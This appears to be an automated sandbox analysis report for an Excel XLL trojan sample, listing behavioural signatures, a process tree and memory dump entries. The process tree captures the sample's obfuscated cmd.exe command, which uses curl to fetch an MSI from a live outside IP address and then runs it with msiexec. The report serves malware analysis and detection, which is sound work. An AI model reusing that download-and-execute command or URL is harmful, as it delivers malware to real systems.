Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/09/2023, 07:37

General

  • Target
    SecuriteInfo.com.Trojan.Win64.Alien.caa.26298.27183.xll
  • Size 12KB
  • Sample230926-jftesafe31
  • SHA256 4d867d0c40d7f033cd47678de337dcd6d1554b5e39e5d98848b42472e415823d
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Win64.Alien.caa.26298.27183.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5004
    • \??\c:\windows\system32\cmd.exe
      c:\windows\system32\cmd.exe /c c^url -o c:\users\public\1.msi http://88.119.175.199/EtqXJWL/hqmN&&timeout 10&&c:\users\public\1.msi
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:3464
      • C:\Windows\system32\curl.exe
        curl -o c:\users\public\1.msi http://88.119.175.199/EtqXJWL/hqmN
        3⤵
          PID:2272
        • C:\Windows\system32\timeout.exe
          timeout 10
          3⤵
          • Delays execution with timeout.exe
          PID:1384
        • C:\Windows\System32\msiexec.exe
          "C:\Windows\System32\msiexec.exe" /i "C:\users\public\1.msi"
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:1752

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          SecuriteInfo.com.Trojan.Win64.Alien.caa.26298.27183.xll

          • Path C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Win64.Alien.caa.26298.27183.xll
          • Size 12KB
          • SHA256 4d867d0c40d7f033cd47678de337dcd6d1554b5e39e5d98848b42472e415823d
          • MD5 SHA1 SHA512 SSDEEP

          SecuriteInfo.com.Trojan.Win64.Alien.caa.26298.27183.xll

          • Path C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Win64.Alien.caa.26298.27183.xll
          • Size 12KB
          • SHA256 4d867d0c40d7f033cd47678de337dcd6d1554b5e39e5d98848b42472e415823d
          • MD5 SHA1 SHA512 SSDEEP

          memory/5004-18-0x00007FFC98870000-0x00007FFC98A65000-memory.dmp

          memory/5004-19-0x00007FFC98870000-0x00007FFC98A65000-memory.dmp

          memory/5004-4-0x00007FFC588F0000-0x00007FFC58900000-memory.dmp

          memory/5004-5-0x00007FFC98870000-0x00007FFC98A65000-memory.dmp

          memory/5004-6-0x00007FFC98870000-0x00007FFC98A65000-memory.dmp

          memory/5004-7-0x00007FFC588F0000-0x00007FFC58900000-memory.dmp

          memory/5004-8-0x00007FFC98870000-0x00007FFC98A65000-memory.dmp

          memory/5004-9-0x00007FFC588F0000-0x00007FFC58900000-memory.dmp

          memory/5004-10-0x00007FFC98870000-0x00007FFC98A65000-memory.dmp

          memory/5004-11-0x00007FFC98870000-0x00007FFC98A65000-memory.dmp

          memory/5004-12-0x00007FFC98870000-0x00007FFC98A65000-memory.dmp

          memory/5004-13-0x00007FFC98870000-0x00007FFC98A65000-memory.dmp

          memory/5004-14-0x00007FFC98870000-0x00007FFC98A65000-memory.dmp

          memory/5004-15-0x00007FFC98870000-0x00007FFC98A65000-memory.dmp

          memory/5004-17-0x00007FFC98870000-0x00007FFC98A65000-memory.dmp

          memory/5004-16-0x00007FFC563F0000-0x00007FFC56400000-memory.dmp

          memory/5004-3-0x00007FFC588F0000-0x00007FFC58900000-memory.dmp

          memory/5004-0-0x00007FFC588F0000-0x00007FFC58900000-memory.dmp

          memory/5004-20-0x00007FFC98870000-0x00007FFC98A65000-memory.dmp

          memory/5004-22-0x00007FFC563F0000-0x00007FFC56400000-memory.dmp

          memory/5004-2-0x00007FFC98870000-0x00007FFC98A65000-memory.dmp

          memory/5004-1-0x00007FFC98870000-0x00007FFC98A65000-memory.dmp

          memory/5004-25-0x00007FFC8EAD0000-0x00007FFC8EADD000-memory.dmp

          memory/5004-26-0x00007FFC98870000-0x00007FFC98A65000-memory.dmp

          memory/5004-27-0x00007FFC98870000-0x00007FFC98A65000-memory.dmp

          memory/5004-28-0x00007FFC98870000-0x00007FFC98A65000-memory.dmp

          memory/5004-46-0x00007FFC588F0000-0x00007FFC58900000-memory.dmp

          memory/5004-47-0x00007FFC588F0000-0x00007FFC58900000-memory.dmp

          memory/5004-45-0x00007FFC588F0000-0x00007FFC58900000-memory.dmp

          memory/5004-49-0x00007FFC98870000-0x00007FFC98A65000-memory.dmp

          memory/5004-48-0x00007FFC588F0000-0x00007FFC58900000-memory.dmp

          memory/5004-50-0x00007FFC98870000-0x00007FFC98A65000-memory.dmp

          memory/5004-51-0x00007FFC98870000-0x00007FFC98A65000-memory.dmp

          memory/5004-52-0x00007FFC98870000-0x00007FFC98A65000-memory.dmp

          memory/5004-53-0x00007FFC98870000-0x00007FFC98A65000-memory.dmp